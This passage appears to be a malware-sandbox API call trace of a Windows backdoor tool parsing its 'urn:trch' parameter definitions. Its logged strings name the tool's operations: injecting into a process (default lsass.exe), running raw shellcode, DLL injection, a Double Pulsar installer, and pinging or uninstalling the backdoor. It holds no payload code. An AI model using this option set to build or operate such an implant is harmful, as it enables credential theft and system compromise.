_Size=0x1) returned 0xfad9a8 [0120.162] _mbscpy (in: param_1=0xfad9a8, param_2=0x14c3f8 | out: param_1=0xfad9a8) returned 0xfad9a8 [0120.162] strlen (_Str="urn:trch") returned 0x8 [0120.162] calloc (_Count=0x9, _Size=0x1) returned 0xfad610 [0120.162] _mbscpy (in: param_1=0xfad610, param_2=0x10bfb20 | out: param_1=0xfad610) returned 0xfad610 [0120.162] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.162] strlen (_Str="2.0.0") returned 0x5 [0120.162] calloc (_Count=0x6, _Size=0x1) returned 0xfad9b8 [0120.163] _mbscpy (in: param_1=0xfad9b8, param_2=0xfaac08 | out: param_1=0xfad9b8) returned 0xfad9b8 [0120.163] strlen (_Str="1") returned 0x1 [0120.163] calloc (_Count=0x2, _Size=0x1) returned 0xfad9c8 [0120.163] _mbscpy (in: param_1=0xfad9c8, param_2=0xfadbe0 | out: param_1=0xfad9c8) returned 0xfad9c8 [0120.163] free (_Block=0xfad598) [0120.163] free (_Block=0xfac418) [0120.163] free (_Block=0xfad958) [0120.163] free (_Block=0x0) [0120.163] free (_Block=0xfadbe0) [0120.163] free (_Block=0x0) [0120.163] free (_Block=0x0) [0120.163] free (_Block=0x0) [0120.163] free (_Block=0x0) [0120.163] realloc (_Block=0xfad988, _Size=0xc) returned 0xfad598 [0120.163] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.163] malloc (_Size=0xc) returned 0xfad640 [0120.163] malloc (_Size=0x1f) returned 0xfab098 [0120.163] malloc (_Size=0x7) returned 0xfad988 [0120.163] malloc (_Size=0x14) returned 0xfa87e0 [0120.163] GetCurrentThreadId () returned 0x1420 [0120.163] malloc (_Size=0x42) returned 0xfadbe0 [0120.163] free (_Block=0xfa87e0) [0120.163] calloc (_Count=0x1, _Size=0x48) returned 0xfadc80 [0120.163] strlen (_Str="ProcessName") returned 0xb [0120.163] calloc (_Count=0xc, _Size=0x1) returned 0xfad658 [0120.163] _mbscpy (in: param_1=0xfad658, param_2=0xfad640 | out: param_1=0xfad658) returned 0xfad658 [0120.163] strlen (_Str="Name of process to inject into") returned 0x1e [0120.163] calloc (_Count=0x1f, _Size=0x1) returned 0xfab0e8 [0120.163] _mbscpy (in: param_1=0xfab0e8, param_2=0xfab098 | out: param_1=0xfab0e8) returned 0xfab0e8 [0120.163] strlen (_Str="String") returned 0x6 [0120.163] calloc (_Count=0x7, _Size=0x1) returned 0xfad958 [0120.163] _mbscpy (in: param_1=0xfad958, param_2=0xfad988 | out: param_1=0xfad958) returned 0xfad958 [0120.163] strlen (_Str="Scalar") returned 0x6 [0120.163] calloc (_Count=0x7, _Size=0x1) returned 0xfad9d8 [0120.163] _mbscpy (in: param_1=0xfad9d8, param_2=0x14c3f8 | out: param_1=0xfad9d8) returned 0xfad9d8 [0120.163] strlen (_Str="urn:trch") returned 0x8 [0120.163] calloc (_Count=0x9, _Size=0x1) returned 0xfad670 [0120.164] _mbscpy (in: param_1=0xfad670, param_2=0x10bfb20 | out: param_1=0xfad670) returned 0xfad670 [0120.164] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.164] strlen (_Str="2.0.0") returned 0x5 [0120.164] calloc (_Count=0x6, _Size=0x1) returned 0xfad9e8 [0120.164] _mbscpy (in: param_1=0xfad9e8, param_2=0xfaac08 | out: param_1=0xfad9e8) returned 0xfad9e8 [0120.164] strlen (_Str="lsass.exe") returned 0x9 [0120.164] calloc (_Count=0xa, _Size=0x1) returned 0xfad6a0 [0120.164] _mbscpy (in: param_1=0xfad6a0, param_2=0xfadbe0 | out: param_1=0xfad6a0) returned 0xfad6a0 [0120.164] strlen (_Str="lsass.exe") returned 0x9 [0120.164] calloc (_Count=0xa, _Size=0x1) returned 0xfad6b8 [0120.164] _mbscpy (in: param_1=0xfad6b8, param_2=0xfadbe0 | out: param_1=0xfad6b8) returned 0xfad6b8 [0120.164] strlen (_Str="lsass.exe") returned 0x9 [0120.164] free (_Block=0x0) [0120.164] free (_Block=0xfad640) [0120.164] free (_Block=0xfab098) [0120.164] free (_Block=0xfad988) [0120.164] free (_Block=0x0) [0120.164] free (_Block=0xfadbe0) [0120.164] free (_Block=0x0) [0120.164] free (_Block=0x0) [0120.164] free (_Block=0x0) [0120.164] free (_Block=0x0) [0120.164] realloc (_Block=0xfad598, _Size=0x10) returned 0xfad640 [0120.164] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.164] malloc (_Size=0x13) returned 0xfa87e0 [0120.164] malloc (_Size=0x27) returned 0xfadbe0 [0120.164] malloc (_Size=0x7) returned 0xfad988 [0120.164] malloc (_Size=0x14) returned 0xfa8820 [0120.164] GetCurrentThreadId () returned 0x1420 [0120.164] malloc (_Size=0x42) returned 0xfadcd0 [0120.164] free (_Block=0xfa8820) [0120.164] calloc (_Count=0x1, _Size=0x48) returned 0xfadd20 [0120.164] strlen (_Str="ProcessCommandLine") returned 0x12 [0120.164] calloc (_Count=0x13, _Size=0x1) returned 0xfa8820 [0120.164] _mbscpy (in: param_1=0xfa8820, param_2=0xfa87e0 | out: param_1=0xfa8820) returned 0xfa8820 [0120.164] strlen (_Str="Command line of process to inject into") returned 0x26 [0120.164] calloc (_Count=0x27, _Size=0x1) returned 0xfadd70 [0120.164] _mbscpy (in: param_1=0xfadd70, param_2=0xfadbe0 | out: param_1=0xfadd70) returned 0xfadd70 [0120.165] strlen (_Str="String") returned 0x6 [0120.165] calloc (_Count=0x7, _Size=0x1) returned 0xfad9f8 [0120.165] _mbscpy (in: param_1=0xfad9f8, param_2=0xfad988 | out: param_1=0xfad9f8) returned 0xfad9f8 [0120.165] strlen (_Str="Scalar") returned 0x6 [0120.165] calloc (_Count=0x7, _Size=0x1) returned 0xfada08 [0120.165] _mbscpy (in: param_1=0xfada08, param_2=0x14c3f8 | out: param_1=0xfada08) returned 0xfada08 [0120.165] strlen (_Str="urn:trch") returned 0x8 [0120.165] calloc (_Count=0x9, _Size=0x1) returned 0xfad598 [0120.165] _mbscpy (in: param_1=0xfad598, param_2=0x10bfb20 | out: param_1=0xfad598) returned 0xfad598 [0120.165] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.165] strlen (_Str="2.0.0") returned 0x5 [0120.165] calloc (_Count=0x6, _Size=0x1) returned 0xfada18 [0120.165] _mbscpy (in: param_1=0xfada18, param_2=0xfaac08 | out: param_1=0xfada18) returned 0xfada18 [0120.165] strlen (_Str="") returned 0x0 [0120.165] calloc (_Count=0x1, _Size=0x1) returned 0xfada28 [0120.165] _mbscpy (in: param_1=0xfada28, param_2=0xfadcd0 | out: param_1=0xfada28) returned 0xfada28 [0120.165] strlen (_Str="") returned 0x0 [0120.165] calloc (_Count=0x1, _Size=0x1) returned 0xfada38 [0120.165] _mbscpy (in: param_1=0xfada38, param_2=0xfadcd0 | out: param_1=0xfada38) returned 0xfada38 [0120.165] strlen (_Str="") returned 0x0 [0120.165] free (_Block=0x0) [0120.165] free (_Block=0xfa87e0) [0120.165] free (_Block=0xfadbe0) [0120.165] free (_Block=0xfad988) [0120.165] free (_Block=0x0) [0120.165] free (_Block=0xfadcd0) [0120.165] free (_Block=0x0) [0120.165] free (_Block=0x0) [0120.165] free (_Block=0x0) [0120.165] free (_Block=0x0) [0120.165] realloc (_Block=0xfad640, _Size=0x14) returned 0xfa87e0 [0120.165] realloc (_Block=0xfad550, _Size=0x10) returned 0xfad640 [0120.165] malloc (_Size=0xd) returned 0xfad550 [0120.165] malloc (_Size=0x12) returned 0xfa8840 [0120.165] calloc (_Count=0x1, _Size=0x20) returned 0xfab098 [0120.165] strlen (_Str="RunShellcode") returned 0xc [0120.165] calloc (_Count=0xd, _Size=0x1) returned 0xfad6e8 [0120.165] _mbscpy (in: param_1=0xfad6e8, param_2=0xfad550 | out: param_1=0xfad6e8) returned 0xfad6e8 [0120.165] strlen (_Str="Run raw shellcode") returned 0x11 [0120.165] calloc (_Count=0x12, _Size=0x1) returned 0xfa8860 [0120.165] _mbscpy (in: param_1=0xfa8860, param_2=0xfa8840 | out: param_1=0xfa8860) returned 0xfa8860 [0120.166] strlen (_Str="urn:trch") returned 0x8 [0120.166] calloc (_Count=0x9, _Size=0x1) returned 0xfad700 [0120.166] _mbscpy (in: param_1=0xfad700, param_2=0x10bfb20 | out: param_1=0xfad700) returned 0xfad700 [0120.166] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.166] strlen (_Str="2.0.0") returned 0x5 [0120.166] calloc (_Count=0x6, _Size=0x1) returned 0xfad988 [0120.166] _mbscpy (in: param_1=0xfad988, param_2=0xfaac08 | out: param_1=0xfad988) returned 0xfad988 [0120.166] malloc (_Size=0x4) returned 0xfada48 [0120.166] malloc (_Size=0x4) returned 0xfada58 [0120.166] free (_Block=0xfad550) [0120.166] free (_Block=0xfa8840) [0120.166] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.166] malloc (_Size=0xe) returned 0xfad550 [0120.166] malloc (_Size=0x2b) returned 0xfacb88 [0120.166] malloc (_Size=0xa) returned 0xfad718 [0120.166] calloc (_Count=0x1, _Size=0x48) returned 0xfadcd0 [0120.166] strlen (_Str="ShellcodeFile") returned 0xd [0120.166] calloc (_Count=0xe, _Size=0x1) returned 0xfa1550 [0120.166] _mbscpy (in: param_1=0xfa1550, param_2=0xfad550 | out: param_1=0xfa1550) returned 0xfa1550 [0120.166] strlen (_Str="Full path to the file containing shellcode") returned 0x2a [0120.166] calloc (_Count=0x2b, _Size=0x1) returned 0xfacc30 [0120.166] _mbscpy (in: param_1=0xfacc30, param_2=0xfacb88 | out: param_1=0xfacc30) returned 0xfacc30 [0120.166] strlen (_Str="LocalFile") returned 0x9 [0120.166] calloc (_Count=0xa, _Size=0x1) returned 0xfa1568 [0120.166] _mbscpy (in: param_1=0xfa1568, param_2=0xfad718 | out: param_1=0xfa1568) returned 0xfa1568 [0120.166] strlen (_Str="Scalar") returned 0x6 [0120.166] calloc (_Count=0x7, _Size=0x1) returned 0xfada68 [0120.166] _mbscpy (in: param_1=0xfada68, param_2=0x14c3f8 | out: param_1=0xfada68) returned 0xfada68 [0120.166] strlen (_Str="urn:trch") returned 0x8 [0120.166] calloc (_Count=0x9, _Size=0x1) returned 0xfa1580 [0120.166] _mbscpy (in: param_1=0xfa1580, param_2=0x10bfb20 | out: param_1=0xfa1580) returned 0xfa1580 [0120.166] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.166] strlen (_Str="2.0.0") returned 0x5 [0120.166] calloc (_Count=0x6, _Size=0x1) returned 0xfada78 [0120.166] _mbscpy (in: param_1=0xfada78, param_2=0xfaac08 | out: param_1=0xfada78) returned 0xfada78 [0120.166] realloc (_Block=0xfada48, _Size=0x8) returned 0xfada88 [0120.166] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.166] malloc (_Size=0xe) returned 0xfad718 [0120.167] malloc (_Size=0x32) returned 0xfadbe0 [0120.167] malloc (_Size=0xa) returned 0xfad550 [0120.167] calloc (_Count=0x1, _Size=0x48) returned 0xfadda0 [0120.167] strlen (_Str="ShellcodeData") returned 0xd [0120.167] calloc (_Count=0xe, _Size=0x1) returned 0xfa15b0 [0120.167] _mbscpy (in: param_1=0xfa15b0, param_2=0xfad718 | out: param_1=0xfa15b0) returned 0xfa15b0 [0120.167] strlen (_Str="Full path to the file containing shellcode to run") returned 0x31 [0120.167] calloc (_Count=0x32, _Size=0x1) returned 0xfaddf0 [0120.167] _mbscpy (in: param_1=0xfaddf0, param_2=0xfadbe0 | out: param_1=0xfaddf0) returned 0xfaddf0 [0120.167] strlen (_Str="LocalFile") returned 0x9 [0120.167] calloc (_Count=0xa, _Size=0x1) returned 0xfa15c8 [0120.167] _mbscpy (in: param_1=0xfa15c8, param_2=0xfad550 | out: param_1=0xfa15c8) returned 0xfa15c8 [0120.167] strlen (_Str="Scalar") returned 0x6 [0120.167] calloc (_Count=0x7, _Size=0x1) returned 0xfada48 [0120.167] _mbscpy (in: param_1=0xfada48, param_2=0x14c3f8 | out: param_1=0xfada48) returned 0xfada48 [0120.167] strlen (_Str="urn:trch") returned 0x8 [0120.167] calloc (_Count=0x9, _Size=0x1) returned 0xfa15e0 [0120.167] _mbscpy (in: param_1=0xfa15e0, param_2=0x10bfb20 | out: param_1=0xfa15e0) returned 0xfa15e0 [0120.167] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.167] strlen (_Str="2.0.0") returned 0x5 [0120.167] calloc (_Count=0x6, _Size=0x1) returned 0xfada98 [0120.167] _mbscpy (in: param_1=0xfada98, param_2=0xfaac08 | out: param_1=0xfada98) returned 0xfada98 [0120.167] realloc (_Block=0xfada88, _Size=0xc) returned 0xfad550 [0120.167] realloc (_Block=0xfad640, _Size=0x14) returned 0xfa8840 [0120.167] malloc (_Size=0xa) returned 0xfad640 [0120.167] malloc (_Size=0x1e) returned 0xfab110 [0120.167] calloc (_Count=0x1, _Size=0x20) returned 0xfab138 [0120.167] strlen (_Str="Uninstall") returned 0x9 [0120.167] calloc (_Count=0xa, _Size=0x1) returned 0xfad718 [0120.167] _mbscpy (in: param_1=0xfad718, param_2=0xfad640 | out: param_1=0xfad718) returned 0xfad718 [0120.167] strlen (_Str="Remove's backdoor from system") returned 0x1d [0120.167] calloc (_Count=0x1e, _Size=0x1) returned 0xfab160 [0120.167] _mbscpy (in: param_1=0xfab160, param_2=0xfab110 | out: param_1=0xfab160) returned 0xfab160 [0120.167] strlen (_Str="urn:trch") returned 0x8 [0120.167] calloc (_Count=0x9, _Size=0x1) returned 0xfa1610 [0120.167] _mbscpy (in: param_1=0xfa1610, param_2=0x10bfb20 | out: param_1=0xfa1610) returned 0xfa1610 [0120.167] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.167] strlen (_Str="2.0.0") returned 0x5 [0120.168] calloc (_Count=0x6, _Size=0x1) returned 0xfada88 [0120.168] _mbscpy (in: param_1=0xfada88, param_2=0xfaac08 | out: param_1=0xfada88) returned 0xfada88 [0120.168] malloc (_Size=0x4) returned 0xfadaa8 [0120.168] malloc (_Size=0x4) returned 0xfadab8 [0120.168] free (_Block=0xfad640) [0120.168] free (_Block=0xfab110) [0120.168] realloc (_Block=0xfa8840, _Size=0x18) returned 0xfa8880 [0120.168] realloc (_Block=0xfad448, _Size=0x10) returned 0xfad640 [0120.168] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.168] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.168] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.168] calloc (_Count=0x1, _Size=0x1c) returned 0xfab110 [0120.168] strlen (_Str="outputparameters") returned 0x10 [0120.168] calloc (_Count=0x11, _Size=0x1) returned 0xfa8840 [0120.168] _mbscpy (in: param_1=0xfa8840, param_2=0xfa8620 | out: param_1=0xfa8840) returned 0xfa8840 [0120.168] strlen (_Str="urn:trch") returned 0x8 [0120.168] calloc (_Count=0x9, _Size=0x1) returned 0xfad448 [0120.168] _mbscpy (in: param_1=0xfad448, param_2=0x10bfb20 | out: param_1=0xfad448) returned 0xfad448 [0120.168] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.168] strlen (_Str="2.0.0") returned 0x5 [0120.168] calloc (_Count=0x6, _Size=0x1) returned 0xfadac8 [0120.168] _mbscpy (in: param_1=0xfadac8, param_2=0xfaac08 | out: param_1=0xfadac8) returned 0xfadac8 [0120.168] calloc (_Count=0x1, _Size=0x4) returned 0xfadad8 [0120.168] calloc (_Count=0x1, _Size=0x4) returned 0xfadae8 [0120.168] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.168] malloc (_Size=0x9) returned 0xfa1628 [0120.168] malloc (_Size=0x22) returned 0xfadbe0 [0120.168] calloc (_Count=0x1, _Size=0x24) returned 0xfade30 [0120.168] strlen (_Str="Function") returned 0x8 [0120.168] calloc (_Count=0x9, _Size=0x1) returned 0xfa1640 [0120.168] _mbscpy (in: param_1=0xfa1640, param_2=0xfa1628 | out: param_1=0xfa1640) returned 0xfa1640 [0120.168] strlen (_Str="Operation for backdoor to perform") returned 0x21 [0120.168] calloc (_Count=0x22, _Size=0x1) returned 0xfa1950 [0120.168] _mbscpy (in: param_1=0xfa1950, param_2=0xfadbe0 | out: param_1=0xfa1950) returned 0xfa1950 [0120.168] strlen (_Str="urn:trch") returned 0x8 [0120.168] calloc (_Count=0x9, _Size=0x1) returned 0xfa1658 [0120.168] _mbscpy (in: param_1=0xfa1658, param_2=0x10bfb20 | out: param_1=0xfa1658) returned 0xfa1658 [0120.168] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.168] strlen (_Str="2.0.0") returned 0x5 [0120.169] calloc (_Count=0x6, _Size=0x1) returned 0xfadaf8 [0120.169] _mbscpy (in: param_1=0xfadaf8, param_2=0xfaac08 | out: param_1=0xfadaf8) returned 0xfadaf8 [0120.169] malloc (_Size=0x4) returned 0xfadb08 [0120.169] free (_Block=0xfa1628) [0120.169] free (_Block=0xfadbe0) [0120.169] free (_Block=0x0) [0120.169] malloc (_Size=0xe) returned 0xfa1628 [0120.169] malloc (_Size=0x35) returned 0xfadbe0 [0120.169] calloc (_Count=0x1, _Size=0x20) returned 0xfab188 [0120.169] strlen (_Str="OutputInstall") returned 0xd [0120.169] calloc (_Count=0xe, _Size=0x1) returned 0xfa1670 [0120.169] _mbscpy (in: param_1=0xfa1670, param_2=0xfa1628 | out: param_1=0xfa1670) returned 0xfa1670 [0120.169] strlen (_Str="Only output the install shellcode to a file on disk.") returned 0x34 [0120.169] calloc (_Count=0x35, _Size=0x1) returned 0xfade60 [0120.169] _mbscpy (in: param_1=0xfade60, param_2=0xfadbe0 | out: param_1=0xfade60) returned 0xfade60 [0120.169] strlen (_Str="urn:trch") returned 0x8 [0120.169] calloc (_Count=0x9, _Size=0x1) returned 0xfa1688 [0120.169] _mbscpy (in: param_1=0xfa1688, param_2=0x10bfb20 | out: param_1=0xfa1688) returned 0xfa1688 [0120.169] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.169] strlen (_Str="2.0.0") returned 0x5 [0120.169] calloc (_Count=0x6, _Size=0x1) returned 0xfadb18 [0120.169] _mbscpy (in: param_1=0xfadb18, param_2=0xfaac08 | out: param_1=0xfadb18) returned 0xfadb18 [0120.169] malloc (_Size=0x4) returned 0xfadb28 [0120.169] malloc (_Size=0x4) returned 0xfa2150 [0120.169] free (_Block=0xfa1628) [0120.169] free (_Block=0xfadbe0) [0120.169] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.169] malloc (_Size=0xe) returned 0xfa1628 [0120.169] malloc (_Size=0x43) returned 0xfadbe0 [0120.169] malloc (_Size=0x7) returned 0xfa2160 [0120.169] calloc (_Count=0x1, _Size=0x48) returned 0xfadea0 [0120.169] strlen (_Str="ShellcodeFile") returned 0xd [0120.169] calloc (_Count=0xe, _Size=0x1) returned 0xfa16a0 [0120.169] _mbscpy (in: param_1=0xfa16a0, param_2=0xfa1628 | out: param_1=0xfa16a0) returned 0xfa16a0 [0120.169] strlen (_Str="Full path to the file containing Double Pulsar shellcode installer") returned 0x42 [0120.169] calloc (_Count=0x43, _Size=0x1) returned 0xfa2550 [0120.169] _mbscpy (in: param_1=0xfa2550, param_2=0xfadbe0 | out: param_1=0xfa2550) returned 0xfa2550 [0120.169] strlen (_Str="String") returned 0x6 [0120.169] calloc (_Count=0x7, _Size=0x1) returned 0xfa2170 [0120.170] _mbscpy (in: param_1=0xfa2170, param_2=0xfa2160 | out: param_1=0xfa2170) returned 0xfa2170 [0120.170] strlen (_Str="Scalar") returned 0x6 [0120.170] calloc (_Count=0x7, _Size=0x1) returned 0xfa2180 [0120.170] _mbscpy (in: param_1=0xfa2180, param_2=0x14c3f8 | out: param_1=0xfa2180) returned 0xfa2180 [0120.170] strlen (_Str="urn:trch") returned 0x8 [0120.170] calloc (_Count=0x9, _Size=0x1) returned 0xfa16b8 [0120.170] _mbscpy (in: param_1=0xfa16b8, param_2=0x10bfb20 | out: param_1=0xfa16b8) returned 0xfa16b8 [0120.170] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.170] strlen (_Str="2.0.0") returned 0x5 [0120.170] calloc (_Count=0x6, _Size=0x1) returned 0xfa2190 [0120.170] _mbscpy (in: param_1=0xfa2190, param_2=0xfaac08 | out: param_1=0xfa2190) returned 0xfa2190 [0120.170] realloc (_Block=0xfadb28, _Size=0x8) returned 0xfa2160 [0120.170] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.170] malloc (_Size=0xe) returned 0xfa1628 [0120.170] malloc (_Size=0x43) returned 0xfa25a0 [0120.170] malloc (_Size=0xa) returned 0xfa16e8 [0120.170] calloc (_Count=0x1, _Size=0x48) returned 0xfa25f0 [0120.170] strlen (_Str="ShellcodeData") returned 0xd [0120.170] calloc (_Count=0xe, _Size=0x1) returned 0xfa1700 [0120.170] _mbscpy (in: param_1=0xfa1700, param_2=0xfa1628 | out: param_1=0xfa1700) returned 0xfa1700 [0120.170] strlen (_Str="Full path to the file containing Double Pulsar shellcode installer") returned 0x42 [0120.170] calloc (_Count=0x43, _Size=0x1) returned 0xfa2640 [0120.170] _mbscpy (in: param_1=0xfa2640, param_2=0xfa25a0 | out: param_1=0xfa2640) returned 0xfa2640 [0120.170] strlen (_Str="LocalFile") returned 0x9 [0120.170] calloc (_Count=0xa, _Size=0x1) returned 0xfa1718 [0120.170] _mbscpy (in: param_1=0xfa1718, param_2=0xfa16e8 | out: param_1=0xfa1718) returned 0xfa1718 [0120.170] strlen (_Str="Scalar") returned 0x6 [0120.170] calloc (_Count=0x7, _Size=0x1) returned 0xfadb28 [0120.170] _mbscpy (in: param_1=0xfadb28, param_2=0x14c3f8 | out: param_1=0xfadb28) returned 0xfadb28 [0120.170] strlen (_Str="urn:trch") returned 0x8 [0120.170] calloc (_Count=0x9, _Size=0x1) returned 0xfa1730 [0120.170] _mbscpy (in: param_1=0xfa1730, param_2=0x10bfb20 | out: param_1=0xfa1730) returned 0xfa1730 [0120.170] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.170] strlen (_Str="2.0.0") returned 0x5 [0120.170] calloc (_Count=0x6, _Size=0x1) returned 0xfa21a0 [0120.170] _mbscpy (in: param_1=0xfa21a0, param_2=0xfaac08 | out: param_1=0xfa21a0) returned 0xfa21a0 [0120.170] realloc (_Block=0xfa2160, _Size=0xc) returned 0xfa16e8 [0120.170] realloc (_Block=0xfadb08, _Size=0x8) returned 0xfa2160 [0120.171] malloc (_Size=0x5) returned 0xfadb08 [0120.171] malloc (_Size=0x1e) returned 0xfab1b0 [0120.171] calloc (_Count=0x1, _Size=0x20) returned 0xfab1d8 [0120.171] strlen (_Str="Ping") returned 0x4 [0120.171] calloc (_Count=0x5, _Size=0x1) returned 0xfa21b0 [0120.171] _mbscpy (in: param_1=0xfa21b0, param_2=0xfadb08 | out: param_1=0xfa21b0) returned 0xfa21b0 [0120.171] strlen (_Str="Test for presence of backdoor") returned 0x1d [0120.171] calloc (_Count=0x1e, _Size=0x1) returned 0xfab200 [0120.171] _mbscpy (in: param_1=0xfab200, param_2=0xfab1b0 | out: param_1=0xfab200) returned 0xfab200 [0120.171] strlen (_Str="urn:trch") returned 0x8 [0120.171] calloc (_Count=0x9, _Size=0x1) returned 0xfa1628 [0120.171] _mbscpy (in: param_1=0xfa1628, param_2=0x10bfb20 | out: param_1=0xfa1628) returned 0xfa1628 [0120.171] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.171] strlen (_Str="2.0.0") returned 0x5 [0120.171] calloc (_Count=0x6, _Size=0x1) returned 0xfa21c0 [0120.171] _mbscpy (in: param_1=0xfa21c0, param_2=0xfaac08 | out: param_1=0xfa21c0) returned 0xfa21c0 [0120.171] malloc (_Size=0x4) returned 0xfa21d0 [0120.171] malloc (_Size=0x4) returned 0xfa21e0 [0120.171] free (_Block=0xfadb08) [0120.171] free (_Block=0xfab1b0) [0120.171] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.171] malloc (_Size=0x8) returned 0xfadb08 [0120.171] malloc (_Size=0x17) returned 0xfa88a0 [0120.171] malloc (_Size=0x4) returned 0xfa21f0 [0120.171] calloc (_Count=0x1, _Size=0x48) returned 0xfa25a0 [0120.171] strlen (_Str="Is64Bit") returned 0x7 [0120.251] calloc (_Count=0x8, _Size=0x1) returned 0xfa2200 [0120.251] _mbscpy (in: param_1=0xfa2200, param_2=0xfadb08 | out: param_1=0xfa2200) returned 0xfa2200 [0120.251] strlen (_Str="Is target 64 or 32 bit") returned 0x16 [0120.251] calloc (_Count=0x17, _Size=0x1) returned 0xfa88c0 [0120.252] _mbscpy (in: param_1=0xfa88c0, param_2=0xfa88a0 | out: param_1=0xfa88c0) returned 0xfa88c0 [0120.252] strlen (_Str="U32") returned 0x3 [0120.252] calloc (_Count=0x4, _Size=0x1) returned 0xfa2210 [0120.252] _mbscpy (in: param_1=0xfa2210, param_2=0xfa21f0 | out: param_1=0xfa2210) returned 0xfa2210 [0120.252] strlen (_Str="Scalar") returned 0x6 [0120.252] calloc (_Count=0x7, _Size=0x1) returned 0xfa2220 [0120.252] _mbscpy (in: param_1=0xfa2220, param_2=0x14c3f8 | out: param_1=0xfa2220) returned 0xfa2220 [0120.252] strlen (_Str="urn:trch") returned 0x8 [0120.252] calloc (_Count=0x9, _Size=0x1) returned 0xfa1760 [0120.252] _mbscpy (in: param_1=0xfa1760, param_2=0x10bfb20 | out: param_1=0xfa1760) returned 0xfa1760 [0120.252] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.252] strlen (_Str="2.0.0") returned 0x5 [0120.252] calloc (_Count=0x6, _Size=0x1) returned 0xfa2230 [0120.252] _mbscpy (in: param_1=0xfa2230, param_2=0xfaac08 | out: param_1=0xfa2230) returned 0xfa2230 [0120.252] realloc (_Block=0xfa21d0, _Size=0x8) returned 0xfa21f0 [0120.252] realloc (_Block=0xfa2160, _Size=0xc) returned 0xfa1790 [0120.252] malloc (_Size=0x7) returned 0xfa2160 [0120.252] malloc (_Size=0x27) returned 0xfa1980 [0120.252] calloc (_Count=0x1, _Size=0x20) returned 0xfab1b0 [0120.252] strlen (_Str="RunDLL") returned 0x6 [0120.252] calloc (_Count=0x7, _Size=0x1) returned 0xfa21d0 [0120.252] _mbscpy (in: param_1=0xfa21d0, param_2=0xfa2160 | out: param_1=0xfa21d0) returned 0xfa21d0 [0120.252] strlen (_Str="Inject a DLL into a user mode process.") returned 0x26 [0120.252] calloc (_Count=0x27, _Size=0x1) returned 0xfa19b0 [0120.252] _mbscpy (in: param_1=0xfa19b0, param_2=0xfa1980 | out: param_1=0xfa19b0) returned 0xfa19b0 [0120.252] strlen (_Str="urn:trch") returned 0x8 [0120.252] calloc (_Count=0x9, _Size=0x1) returned 0xfa17a8 [0120.252] _mbscpy (in: param_1=0xfa17a8, param_2=0x10bfb20 | out: param_1=0xfa17a8) returned 0xfa17a8 [0120.252] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.252] strlen (_Str="2.0.0") returned 0x5 [0120.252] calloc (_Count=0x6, _Size=0x1) returned 0xfa2240 [0120.252] _mbscpy (in: param_1=0xfa2240, param_2=0xfaac08 | out: param_1=0xfa2240) returned 0xfa2240 [0120.252] malloc (_Size=0x4) returned 0xfa2250 [0120.252] malloc (_Size=0x4) returned 0xfa2260 [0120.252] free (_Block=0xfa2160) [0120.253] free (_Block=0xfa1980) [0120.253] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.253] malloc (_Size=0x8) returned 0xfa2160 [0120.253] malloc (_Size=0x17) returned 0xfa88a0 [0120.253] malloc (_Size=0x4) returned 0xfa2270 [0120.253] calloc (_Count=0x1, _Size=0x48) returned 0xfa2690 [0120.253] strlen (_Str="Is64Bit") returned 0x7 [0120.253] calloc (_Count=0x8, _Size=0x1) returned 0xfa2280 [0120.253] _mbscpy (in: param_1=0xfa2280, param_2=0xfa2160 | out: param_1=0xfa2280) returned 0xfa2280 [0120.253] strlen (_Str="Is target 64 or 32 bit") returned 0x16 [0120.253] calloc (_Count=0x17, _Size=0x1) returned 0xfa88e0 [0120.253] _mbscpy (in: param_1=0xfa88e0, param_2=0xfa88a0 | out: param_1=0xfa88e0) returned 0xfa88e0 [0120.253] strlen (_Str="U32") returned 0x3 [0120.253] calloc (_Count=0x4, _Size=0x1) returned 0xfa2290 [0120.253] _mbscpy (in: param_1=0xfa2290, param_2=0xfa2270 | out: param_1=0xfa2290) returned 0xfa2290 [0120.253] strlen (_Str="Scalar") returned 0x6 [0120.253] calloc (_Count=0x7, _Size=0x1) returned 0xfa22a0 [0120.253] _mbscpy (in: param_1=0xfa22a0, param_2=0x14c3f8 | out: param_1=0xfa22a0) returned 0xfa22a0 [0120.253] strlen (_Str="urn:trch") returned 0x8 [0120.253] calloc (_Count=0x9, _Size=0x1) returned 0xfa17c0 [0120.253] _mbscpy (in: param_1=0xfa17c0, param_2=0x10bfb20 | out: param_1=0xfa17c0) returned 0xfa17c0 [0120.253] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.253] strlen (_Str="2.0.0") returned 0x5 [0120.253] calloc (_Count=0x6, _Size=0x1) returned 0xfa22b0 [0120.253] _mbscpy (in: param_1=0xfa22b0, param_2=0xfaac08 | out: param_1=0xfa22b0) returned 0xfa22b0 [0120.253] realloc (_Block=0xfa2250, _Size=0x8) returned 0xfa2270 [0120.253] realloc (_Block=0xfa1790, _Size=0x10) returned 0xfa17f0 [0120.253] malloc (_Size=0xa) returned 